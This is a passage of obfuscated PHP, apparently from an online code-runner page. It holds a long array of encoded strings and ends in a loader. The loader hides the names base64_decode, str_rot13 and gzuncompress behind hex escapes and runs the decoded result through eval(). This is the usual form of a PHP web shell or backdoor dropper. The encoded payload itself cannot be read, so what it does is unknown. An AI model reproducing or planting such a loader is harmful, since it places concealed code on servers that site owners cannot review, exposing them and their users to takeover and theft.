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',); $x = implode("", $array); $b64 = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65"; $r13 = "\x73\x74\x72\x5f\x72\x6f\x74\x31\x33"; $gzc = "\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73"; eval($gzc($b64($r13($x))));

preferences:
51.34 ms | 402 KiB | 5 Q